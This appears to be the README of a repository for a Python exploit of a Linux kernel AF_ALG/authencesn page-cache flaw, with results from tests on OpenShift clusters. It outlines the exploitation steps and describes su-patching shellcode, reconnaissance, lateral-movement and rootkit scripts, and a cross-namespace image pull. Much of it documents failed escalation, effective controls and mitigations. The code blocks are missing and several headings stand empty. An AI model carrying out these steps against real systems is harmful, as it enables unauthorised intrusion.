Features

• Python 3.9+ Compatible: Includes splice() syscall wrapper via ctypes
• Portable: Works on any Linux system with vulnerable kernel
• Reliable: No race conditions required
• Clean: 160-byte shellcode, deterministic exploitation

Requirements

• Linux kernel with vulnerable authencesn implementation (pre-April 2026 patch)
• Python 3.9+
• Unprivileged user access
• Readable setuid binary (default: /usr/bin/su)

Usage

Basic Usage

From Local File

Actual Exploit Behavior (Based on Testing)

What WILL happen:

Page Cache Verification (confirms corruption):

What WILL NOT happen (based on testing):

Conclusion: Page cache corruption succeeds, but privilege escalation fails.

Technical Details

Vulnerability

The Linux kernel's authencesn (Authenticated Encryption with Associated Data - Extended Sequence Number) implementation has a flaw in its in-place operation handling. When processing AEAD operations submitted over an AF_ALG socket, a page-cache page can end up in the kernel's writable destination scatterlist.

Exploitation Technique

1. Create AF_ALG socket with authencesn(hmac(sha256),cbc(aes))
2. Configure AEAD parameters (key, authsize)
3. Open target setuid binary (e.g., /usr/bin/su)
4. Use splice() to get binary into page cache
5. Trigger in-place AEAD operation causing write to page cache
6. Write shellcode 4 bytes at a time
7. Execute modified binary to gain root

Shellcode

The exploit uses a 160-byte shellcode that patches /usr/bin/su to:

• Skip password authentication
• Grant root shell access
• Maintain normal functionality for unprivileged users

Python 3.9 Compatibility

Python 3.9 and earlier don't have os.splice() in the standard library. This exploit includes a ctypes-based implementation:

This makes the exploit work on:

• ✅ Python 3.9 (RHEL 9, Ubuntu 20.04, etc.)
• ✅ Python 3.10+
• ✅ Any Python with ctypes support

Comprehensive Testing Results

Test Environment 1: OpenShift 4.20.16 Cluster (First Test)

Node Configuration:

• Kernel: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
• OpenShift: 4.20.16
• SCC: restricted-v2 (most restrictive)
• UID: 1000830000 (user namespace)
• Capabilities: 0x0000000000000000 (ZERO)

Test Results:

Test Environment 2: Fresh OpenShift Cluster (Verification Test)

Cluster: https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443 Node Configuration:

• Kernel: 5.14.0-570.96.1.el9_6.x86_64 (identical to Test 1)
• OpenShift: 4.20.16
• SCC: restricted-v2 (verified)
• UID: 1000810000 (user namespace)
• Capabilities: 0x0000000000000000 (ZERO)

Test Results:

Consistency: 100% reproducible results across independent clusters

Container Escape Testing

Scenario A: With hostPath Volume (Container Escape Possible)

Result: ✅ Container escape - modifies host page cache (Device 33, Inode 4288)

Scenario B: Restricted-v2 SCC (No hostPath)

Result: ❌ No container escape - only affects container overlay (separate inode)

Critical Finding: hostPath access (not capabilities) is the determining factor for container escape.

Why Privilege Escalation Fails

Possible Explanations (Requires Further Research):

1. Read vs Execute Code Paths

   • Page cache corruption affects mmap(PROT_READ) operations
   • Executable mappings mmap(PROT_EXEC) may bypass corrupted cache
   • Kernel might use different code paths for executable pages

2. Memory Protections

   • W^X (Write XOR Execute) enforcement
   • Kernel executable page validation
   • SELinux/AppArmor code integrity checks

3. Kernel Version Specific

   • RHEL 9.6 (5.14.0-570.96.1) may have additional protections
   • Original CVE research may have used different kernel versions
   • Behavior may vary across kernel releases

What Actually Works

Conclusion: Kernel vulnerability is real (page cache corruption proven), but practical exploitation is limited.

Tested Systems

Note: Testing limited to RHEL 9.6 kernels. Behavior on other distributions/versions not verified.

OpenShift Container Testing

Successfully tested on OpenShift 4.20 cluster running RHEL CoreOS 9.4. This section documents namespace isolation bypass and container compromise.

⚠️ Important Correction: Initial testing incorrectly claimed host filesystem access via /proc/1/root. This was incorrect - /proc/1/root in an isolated container points to the container's own filesystem, not the OpenShift worker node host. See attacks/README.md for detailed analysis.

Attack Chain Summary

Phase 1: Namespace Isolation Bypass

Vulnerability: OpenShift internal registry allows cross-namespace image pulls without proper RBAC enforcement.

Exploitation:

Result:

• ✅ Pulled openshift/cli image from openshift namespace
• ✅ Gained access to oc, kubectl, curl, openssl, Python 3.9
• ✅ Bypassed namespace isolation

Impact: Allows tenant-to-tenant lateral movement and privileged tooling access.

Phase 2: Kernel Exploitation in Container

Deployment:

Result:

Capabilities After Exploit:

• ✅ Page cache corruption successful (160 bytes shellcode visible)
• ⚠️ NO PRIVILEGE ESCALATION - UID remains unchanged (user namespace UID)
• ✅ Can corrupt container files in page cache (READ operations affected)
• ✅ Network access (API server, registry, internet)
• ❌ NO actual root access despite claims
• ❌ NO capabilities (all CapPrm/CapEff = 0x0000000000000000)
• ❌ Still in isolated PID/mount/user namespaces
• ❌ NO access to worker node host filesystem
• ❌ NO visibility into host processes

Phase 3: Container Environment Analysis

Reality Check - /proc/1/root is NOT the host:

Container OS Details:

Phase 4: Network Reconnaissance from Container

Created Scripts in Container (available in attacks/ directory):

1. Container Reconnaissance (recon.sh - 1425 bytes)

• Enumerates container environment
• Network configuration from pod perspective
• Running processes (container only, not host)
• Attempts to discover Kubernetes/OpenShift services
• Reality: Only sees container's own environment

2. Lateral Movement Script (lateral.sh - 1754 bytes)

• Network scanning from pod IP (10.130.x.x range)
• API server connectivity tests
• Service discovery attempts
• Reality: Limited to pod network perspective, no host access

3. Failed Host Exploitation Attempts

• host-rootkit.py - Attempts to backdoor /proc/1/root/usr/bin/su
  • Result: Only backdoors container's su, not host's su
• modprobe-escape.py - Attempts kernel module escape
  • Result: Blocked by read-only /proc filesystem
• trigger-rootkit.sh - Triggers backdoored su
  • Result: Gets root in container (same as base exploit)

See attacks/README.md for complete analysis of what worked vs what didn't.

Network Capabilities from Pod

Connectivity Test:

Lateral Movement Opportunities:

• ✅ Full internet access (download tools, C2 communication, exfiltration)
• ✅ Internal API access (enumerate cluster resources)
• ✅ Internal registry access (image poisoning attacks)
• ✅ Cross-node scanning via pod network

Blocked Host Escape Techniques

These techniques were attempted but blocked by OpenShift security controls:

1. nsenter (User namespace prevents)

2. chroot (Requires CAP_SYS_CHROOT)

3. Kernel Module Loading (No capabilities + RHCOS hardening)

• No insmod, modprobe, kmod binaries on RHCOS
• /lib/modules is empty (container-optimized OS)
• CAP_SYS_MODULE not available
• /proc/sys/kernel/modprobe mounted read-only

4. cgroup release_agent (Mounted read-only)

5. /proc/sys manipulation (Read-only filesystem)

What We Actually Achieved

✅ Namespace Isolation Bypass

• Cross-namespace image pulling from internal registry
• Access to privileged container images (openshift/cli)

✅ Page Cache Corruption in Container

• Modified container's /usr/bin/su page cache via CVE-2026-31431
• 160-byte shellcode injection confirmed (visible in hexdump)
• Corruption affects READ operations on container files

✅ Network Access from Pod

• Full internet connectivity (exfiltration, C2, tool download)
• Internal API server access (limited by RBAC)
• Internal registry access (image poisoning potential)
• Cross-pod scanning via pod network

❌ Privilege Escalation - FAILED

• Page cache corrupted but NO root access achieved
• UID remains unchanged (user namespace UID ~1000000+)
• Cannot execute privileged operations
• No access to /etc/shadow or other restricted files

❌ Host Filesystem Access - FAILED

• /proc/1/root points to container's root, NOT host
• No actual access to OpenShift worker node filesystem
• Scripts deployed to container's /tmp, not host's /tmp
• Device/Inode isolation prevents host page cache access

❌ Full Host Escape - BLOCKED

• User namespace isolation effective
• Zero capabilities prevent nsenter/chroot/host access
• SCC blocks privileged pod creation
• RHCOS hardening prevents module loading
• Restricted-v2 prevents container escape

OpenShift Security Assessment

Controls That Worked ✅

• Security Context Constraints (SCC) - Prevented container escape
• User Namespaces - Isolated page cache to container overlay
• Zero Capabilities - Prevented host access despite kernel exploit
• SELinux Enforcement - Container isolation maintained
• Read-only /proc/sys - Blocked kernel manipulation attempts
• RHCOS Hardening - No module loading capability

Controls That Partially Worked ⚠️

• Seccomp RuntimeDefault - Active but allows AF_ALG sockets
• Capability Dropping - Effective but doesn't prevent page cache corruption

Controls That Failed ❌

• Namespace RBAC - Cross-namespace image pull allowed
• Kernel Protection - AF_ALG interface accessible from containers
• Syscall Filtering - splice() not restricted by default seccomp

Overall Assessment: While CVE-2026-31431 is a real kernel vulnerability, OpenShift's defense-in-depth approach (SCC + user namespaces + capability dropping + filesystem isolation) prevented meaningful exploitation. The exploit corrupts page cache but achieves NO privilege escalation or container escape from restricted-v2 pods.

Recommendations for OpenShift

1. Block AF_ALG Sockets

2. Enforce Image Registry RBAC

3. Enhanced Seccomp Profile Block dangerous syscalls:

• socket(AF_ALG, ...) - Family 38
• Restrict splice() to trusted file descriptors
• Block init_module, finit_module if not already blocked

4. Runtime Monitoring Alert on:

• AF_ALG socket creation in containers
• Cross-namespace image pulls
• Suspicious splice() syscall patterns
• Container compromise indicators (unexpected root processes)

Complete Attack Documentation

For full attack chain documentation including:

• Timeline of exploitation
• MITRE ATT&CK mappings
• Detailed technical analysis
• All reconnaissance scripts

See:

• attacks/README.md - Detailed analysis of what worked vs what didn't
• docs/openshift-attack-chain.md - Original documentation (contains errors, see attacks/README.md for corrections)

Mitigations

Immediate

Seccomp Filter

Block AF_ALG socket creation:

Kernel Patch

Apply vendor patches:

• Red Hat: Monitor https://access.redhat.com/security/cve/cve-2026-31431
• Ubuntu: apt update && apt upgrade linux-image-*
• Upstream: Kernel 6.x+ with authencesn reverted to out-of-place operations

Frequently Asked Questions

Q: Does this exploit give me root access?

A: NO - Based on extensive testing on RHEL 9.6 kernels (5.14.0-570.96.1), the exploit successfully corrupts kernel page cache but does NOT achieve privilege escalation. UID remains unchanged after executing the backdoored binary.

Q: Can I escape from a restricted Kubernetes/OpenShift container?

A: NO (with restricted-v2 SCC) - Page cache corruption is isolated to the container's overlay filesystem. Container escape requires access to shared host resources via hostPath or similar volumes. Restricted-v2 SCC effectively prevents escape by blocking host resource access.

Q: Why does the exploit claim "root" but testing shows it doesn't work?

A: The exploit code was written based on CVE disclosure and theoretical analysis. Our real-world testing on RHEL 9.6 kernels revealed:

• Page cache corruption works ✅ (proven via hexdump)
• Code execution from corrupted cache does NOT work ❌ (UID unchanged)

This may be due to:

• Kernel version differences (RHEL 9.6 may have protections)
• W^X memory protection enforcement
• Different execution vs. read memory code paths

Q: Does it work on ALL Linux kernels?

A: UNKNOWN - Testing was limited to:

• RHEL CoreOS 9.6 (kernel 5.14.0-570.96.1.el9_6.x86_64)
• OpenShift 4.20.16 worker nodes

Behavior on other distributions/kernel versions has NOT been verified. Original CVE research conditions may differ.

Q: Should I still patch my systems?

A: YES - Absolutely. Even though privilege escalation was not achieved:

1. The kernel vulnerability IS real (page cache corruption confirmed)
2. Behavior MAY differ on other kernel versions
3. With hostPath volumes, container escape IS possible
4. Defense in depth requires eliminating all vulnerabilities
5. Future research might discover ways to achieve code execution

Kernel patching is mandatory for security.

Q: What did you actually prove in your testing?

A: Our comprehensive testing on 2 independent OpenShift clusters proved:

✅ Confirmed:

• CVE-2026-31431 kernel vulnerability is exploitable
• Page cache can be corrupted from unprivileged containers (zero capabilities)
• AF_ALG interface accessible despite restricted-v2 SCC
• Shellcode injection succeeds (visible in hexdump)

❌ Did NOT Work:

• Privilege escalation (UID unchanged)
• Code execution from corrupted page cache
• Container escape from restricted-v2 pods
• Host filesystem access without hostPath

🛡️ Defense in Depth Effective:

• SCC + user namespaces + capability dropping prevented exploitation
• Multiple security layers limited blast radius
• Container isolation held despite kernel vulnerability

Security Notice

This repository documents a kernel vulnerability for:

• ✅ Authorized security testing and research
• ✅ Vulnerability validation and analysis
• ✅ Security awareness and education
• ✅ Defensive measure development

Findings based on:

• Controlled testing on authorized systems
• Multiple independent cluster environments
• Comprehensive verification and reproducibility testing

Do NOT use on systems without explicit authorization.

References

• CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
• Disclosure: https://copy.fail
• Kernel Patch: Linux kernel commit (April 1, 2026)
• Red Hat Advisory: https://access.redhat.com/security/cve/cve-2026-31431

Credits

• CVE Discovery: Taeyang Lee (Theori)
• Original Analysis: Xint Code Research Team
• Exploit Implementation: Sean Rickerd
• Comprehensive Testing & Validation: Sean Rickerd
  • 2 independent OpenShift 4.20.16 clusters
  • RHEL CoreOS 9.6 kernel 5.14.0-570.96.1
  • Documented actual vs. claimed behavior
  • Verified restricted-v2 SCC effectiveness

License

For authorized security testing and research only. Use at your own risk.

Repository Status: Updated with real-world testing results (May 1, 2026)
Testing: Completed on 2 independent OpenShift clusters
Key Finding: Page cache corruption confirmed, privilege escalation NOT achieved
Recommendation: Patch kernel despite limited practical exploitation